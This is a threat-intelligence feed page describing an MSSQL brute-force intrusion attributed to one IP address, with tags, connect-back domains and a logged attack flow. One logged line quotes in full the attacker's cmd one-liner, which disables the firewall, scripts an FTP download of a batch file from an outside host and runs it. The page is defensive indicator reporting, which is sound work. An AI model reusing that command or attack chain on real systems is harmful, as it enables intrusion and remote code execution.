IP Address: 60.28.29.27Previously Malicious

Weekly Summary

Browse or download a weekly review of our cyber threat intelligence data and gain more insight to help protect your network

Top Threats

Cyber Threat Intelligence

Discover Malicious IPs and Domains with Guardicore Cyber Threat Feed

IP Address:
60.28.29.27​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

Create MsSql Table Outgoing Connection Service Creation Persistency - Logon DNS Query Download and Execute Drop MsSql Table Malicious File Successful MSSQL Login MSSQL Brute Force IDS - Attempted User Privilege Gain RDP Execute MsSql Shell Command Service Configuration File Operation By CMD Create MsSql Procedure MSSQL 2014 MSSQL WMI Method CMD Service Start Persistency - Image Hijack

Connect Back Servers

winba.f3322.net no-data hkming.f3322.org

220.165.9.89

Basic Information

IP Address

60.28.29.27

Domain

-

ISP

China Unicom Tianjin

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-02-04

Last seen in Guardicore Centra

2018-04-08

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ********* - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ********* - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

MSSQL tables were dropped: #A3D0DDEA and #A1E89578

Drop MsSql Table

MSSQL tables were created: #temp_jobs_to_delete________________________________________________________________________________________________000000000002

Create MsSql Table

IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment

IDS - Attempted User Privilege Gain

C:\Windows\System32\hex123.bat was identified as malicious by YARA according to rules: Antidebug Antivm, Peid, Packer Compiler Signatures, Crypto Signatures and Suspicious Strings

Malicious File

c:\windows\system32\services.exe installed and started c:\windows\system32\autoexec.bat as a service named DirectX jrq under service group None

Service Creation Service Start

The file C:\Windows\System32\hex123.bat was downloaded and executed

Download and Execute

Process c:\hex123.bat attempted to access domains: winba.f3322.net and hkming.f3322.org

DNS Query

MSSQL procedures were created: sp_addextendedproc

Create MsSql Procedure

Process NetworkService Service Group attempted to access domains: winba.f3322.net and hkming.f3322.org

DNS Query

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line C:\WINDOWS\ime\cv.exe to run using Persistency - Image Hijack 2 times

Persistency - Image Hijack Persistency - Logon

MSSQL executed 6 shell commands

Execute MsSql Shell Command

The file c:\windows\system32\cs.exe was downloaded and executed 5 times

Download and Execute

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 220.165.9.89 > cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 123.bat>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&123.bat&123.bat&del cmd.txt /q / to run using Persistency - Logon 2 times

Persistency - Image Hijack Persistency - Logon

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 220.165.9.89:21 2 times

Outgoing Connection

The file C:\Windows\System32\p.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\p.exe generated outgoing network traffic to: 220.165.9.89:21

Outgoing Connection

Connection was closed due to timeout

The file C:\Windows\System32\ws.exe was downloaded and executed

Download and Execute

Associated Files

c:\windows\syswow64\autoexec.bat

SHA256: 7c7e312172dd24916efa7b0e98b257831ed61580cfff3cebc8dafcdc6b74bd2e

90112 bytes

Oops! - Do you see your IP here? Contact us at labs@guardicore.com to remove it from the Threat Intelligence data.

IP Address: 60.28.29.27​Previously Malicious